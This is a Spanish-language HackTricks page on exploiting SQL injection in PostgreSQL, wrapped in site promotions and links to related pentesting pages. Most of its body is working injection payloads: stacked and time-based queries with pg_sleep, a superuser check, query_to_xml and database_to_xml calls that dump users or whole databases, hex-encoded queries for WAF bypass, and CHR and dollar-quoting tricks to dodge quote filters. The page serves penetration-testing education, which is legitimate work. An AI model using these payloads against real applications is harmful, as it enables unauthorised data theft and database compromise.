.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
Inyección en PostgreSQL
Aprende a hackear AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
![](/Mirrors/hacktricks/media/commit/4faaf1c123a1442c7d036e0024ea29ad6e0635f2/.gitbook/assets/image%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Si estás interesado en una carrera de hacking y hackear lo imposible - ¡estamos contratando! (se requiere dominio del polaco escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos postgresql y complementar los trucos que puedes encontrar en https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interacción en la red - Escalada de privilegios, Escáner de puertos, divulgación de respuesta de desafío NTLM y Exfiltración
El módulo PostgreSQL dblink
ofrece capacidades para conectarse a otras instancias de PostgreSQL y ejecutar conexiones TCP. Estas características, combinadas con la funcionalidad COPY FROM
, permiten acciones como la escalada de privilegios, el escaneo de puertos y la captura de la respuesta de desafío NTLM. Para obtener métodos detallados sobre cómo ejecutar estos ataques, consulta cómo realizar estos ataques.
Ejemplo de exfiltración usando dblink y objetos grandes
Puedes leer este ejemplo para ver un ejemplo de CTF de cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de los objetos grandes dentro del nombre de usuario de la función dblink_connect
.
Ataques en PostgreSQL: Lectura/escritura, RCE, escalada de privilegios
Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
Bypass de WAF
Funciones de cadena de PostgreSQL
Manipular cadenas podría ayudarte a burlar los WAF u otras restricciones.
En esta página puedes encontrar algunas funciones útiles de cadenas.
Consultas apiladas
Recuerda que postgresql admite consultas apiladas, pero varias aplicaciones mostrarán un error si se devuelven 2 respuestas cuando se espera solo 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de la inyección de tiempo:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Trucos XML
query_to_xml
Esta función devolverá todos los datos en formato XML en un solo archivo. Es ideal si deseas volcar una gran cantidad de datos en solo 1 fila:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Esta función volcará toda la base de datos en formato XML en solo 1 fila (ten cuidado si la base de datos es muy grande, ya que podrías hacer un ataque de denegación de servicio (DoS) o incluso afectar a tu propio cliente):
SELECT database_to_xml(true,true,'');
Cadenas en Hexadecimal
Si puedes ejecutar consultas pasándolas dentro de una cadena (por ejemplo, utilizando la función query_to_xml
). Puedes usar convert_from
para pasar la cadena como hexadecimal y así evadir los filtros de esta manera:
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Comillas prohibidas
Si no puedes usar comillas para tu carga útil, puedes evitar esto con CHR
para cláusulas básicas (la concatenación de caracteres solo funciona para consultas básicas como SELECT, INSERT, DELETE, etc. No funciona para todas las declaraciones SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
O con $
. Estas consultas devuelven los mismos resultados:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
![](/Mirrors/hacktricks/media/commit/4faaf1c123a1442c7d036e0024ea29ad6e0635f2/.gitbook/assets/image%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Si estás interesado en una carrera de hacking y hackear lo imposible - ¡estamos contratando! (se requiere dominio del polaco escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.